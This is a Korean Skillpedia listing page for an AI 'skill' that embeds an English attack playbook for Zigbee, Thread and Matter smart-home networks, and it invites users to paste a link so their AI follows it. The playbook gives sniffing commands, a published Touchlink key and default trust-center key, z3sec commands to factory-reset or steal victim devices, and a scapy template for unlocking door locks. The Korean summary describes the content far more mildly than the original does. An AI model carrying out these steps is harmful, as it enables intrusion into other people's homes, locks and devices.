본문으로 건너뛰기
Skillpedia
보안10k · #11993

offensive-zigbee-thread-matter

하는 일

이 스킬은 Zigbee, Thread, Matter 메시 프로토콜을 쓰는 스마트홈 기기의 보안 점검을 다룹니다. 허가를 받고 테스트하는 보안 테스터와 스마트홈 제작자를 위한 스킬입니다.

사용하는 경우

  • ✓페어링이나 키 처리가 약한지 Zigbee 전구, 잠금장치, 센서를 검토할 때.
  • ✓Matter나 Thread 기기가 가정 네트워크에 어떻게 설정되는지 확인해야 할 때.
  • ✓이 스마트홈 메시 표준들의 보안 차이를 쉬운 말로 요약하고 싶을 때.

스킬 링크

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/wireless/offensive-zigbee-thread-matter/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/wireless/offensive-zigbee-thread-matter/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 스마트홈 테스트 실험실을 위해 Zigbee, Thread, Matter 기기의 보안 차이를 설명해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 스킬은 기기가 네트워크에 합류하는 방식, 설정 중 키가 노출될 수 있는 곳, 기본값이 더 강한 프로토콜을 설명합니다. 검토에 쓰이는 흔한 하드웨어도 나열합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Zigbee / Thread / Matter Attacks

802.15.4-based mesh protocols underpin most "smart home" devices. Zigbee is widely deployed and has well-known crypto-key-reuse issues; Thread (modern, IPv6-based) ships with stronger defaults; Matter unifies their commissioning model with stronger crypto but still has implementation pitfalls.

Quick Workflow

  1. Sniff target frequency (channels 11–26 in 2.4 GHz)
  2. Identify network coordinator and joining devices
  3. For Zigbee: try Touchlink commissioning with the well-known key
  4. Capture join-key exchange when devices commission
  5. Replay or inject ZCL/ZHA cluster commands

Hardware

Adapter Use
TI CC2531 USB stick Cheap, works with Zigbee2MQTT, KillerBee
TI CC2540 / CC2652 Zigbee + Thread + BLE
Sonoff Zigbee Dongle E (CC2652P) Modern, well-supported
ApiMote (KillerBee dev) Multi-channel, scapy-dot15d4
HackRF + appropriate firmware Lower-level RF flexibility

Discovery + Sniffing

# KillerBee suite
zbstumbler -i 0                 # find Zigbee networks
zbid                            # ID coordinators
zbdump -c 11 -w zigbee.pcap     # dump channel 11 to pcap

# scapy-dot15d4 for crafted frames
python3
>>> from scapy.contrib.dot15d4 import *
>>> sniff(iface='/dev/ttyACM0', count=50)

In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters, network keys (if joined), and ZCL commands.

Touchlink Commissioning Abuse

Touchlink (used by Zigbee 3.0 commissioning, especially in lighting) uses a well-known transport key:

0x9F559A553B7A6B2C5C4FBB4E84956F3D

Many consumer Zigbee bulbs / strips accept Touchlink commissioning from any nearby radio with this key — joining them to your network or stealing them from theirs.

# z3sec — Zigbee 3 commissioning attack toolkit
git clone https://github.com/IoTsec/Z3sec
python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>
python z3sec_inter_pan.py --command "join_network" --network <PANID>

Outcomes:

  • Factory-reset victim devices remotely (DoS / mass disrupt)
  • Steal lights / sensors into attacker network
  • Read network keys after joining device-to-network

Network Key Capture During Joins

# Capture coordinator + joining device exchange
zbdump -c <ch> -w join.pcap

# Decrypt if you obtain the trust center link key
# Older Zigbee 1.x networks used a default trust center link key:
# ZigBeeAlliance09
# Modern networks use device-specific install codes

Once you have the network key, all traffic on that mesh is decrypted in Wireshark.

ZCL / ZHA Cluster Command Abuse

Zigbee Cluster Library defines on/off/level/lock clusters. With network key, you can issue commands as any device:

# scapy-dot15d4 frame to unlock a door lock
from scapy.contrib.dot15d4 import *
from scapy.contrib.zigbee import *

frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)
sendp(frame, iface='/dev/ttyACM0')

The same primitive opens locks, toggles switches, dims lights, or floods the network with control traffic.

Thread Specifics

Thread (used by Apple HomePod, Nest, Eero) uses 802.15.4 with IPv6 (6LoWPAN) and stronger commissioning crypto.

  • Network credential is a commissioner-distributed PSKc
  • Devices join with the commissioner present
  • Mesh commissioning protocol is over UDP/CoAP

Attack surface:

  • PSKc theft from commissioner devices (mobile app companion, Apple Home, Nest app)
  • Reusing a leaked credential to join target network
  • 6LoWPAN routing attacks (rank manipulation, sinkhole)

Matter Commissioning

Matter unifies Zigbee/Thread/Wi-Fi device onboarding under one commissioning model:

  • QR code or manual setup code grants commissioning permission
  • Bluetooth LE used for initial commissioning
  • Subsequent communication over Wi-Fi or Thread

Attack surface:

  • Setup-code reuse / replay if commissioning window not closed
  • BLE-MITM during initial commissioning (see offensive-bluetooth-ble)
  • Fabric-attestation flaws in early implementations

Detection

  • Coordinator may log unexpected device joins
  • Hub apps surface "new device" notifications — commonly ignored by users
  • Wireshark/Sonoff captures from defenders are rare — most environments don't monitor 802.15.4

Engagement Cheatsheet

# 1. Identify networks + channels
zbstumbler -i 0

# 2. Sniff target channel
zbdump -c <ch> -w cap.pcap
# Open in Wireshark with dot15d4/zigbee
자주 묻는 질문

Matter란 무엇인가요?

서로 다른 브랜드의 기기가 함께 작동하도록 하고, 공유 보안을 강화하려는 스마트홈 표준입니다.

왜 Zigbee가 문제가 되나요?

일부 Zigbee 설정은 설정 중 잘 알려진 키를 재사용하는데, 이는 알려진 약점이라고 스킬이 설명합니다.

Thread란 무엇인가요?

IPv6 위에 만들어진 신형 메시 프로토콜로, 스킬은 Zigbee보다 기본값이 더 강하다고 설명합니다.

상세 정보

작성자의 원본 설명

Zigbee, Thread, and Matter mesh-protocol attack methodology — IEEE 802.15.4 sniffing with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E, KillerBee toolkit, Touchlink commissioning abuse with the well-known transport key, replay/injection attacks, Zigbee Cluster Library command abuse for door locks and bulbs, Thread network credential theft, Matter commissioning chain analysis, and 6LoWPAN/IPv6 routing exploitation. Use when targeting smart-home or commercial mesh deployments, Zigbee-based door locks, lighting, or sensor networks.

repo: SnailSploit/Claude-Red

인기도

GitHub 스타
10k
순위
#11993
라이선스
MIT
업데이트
2026. 10. 12.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬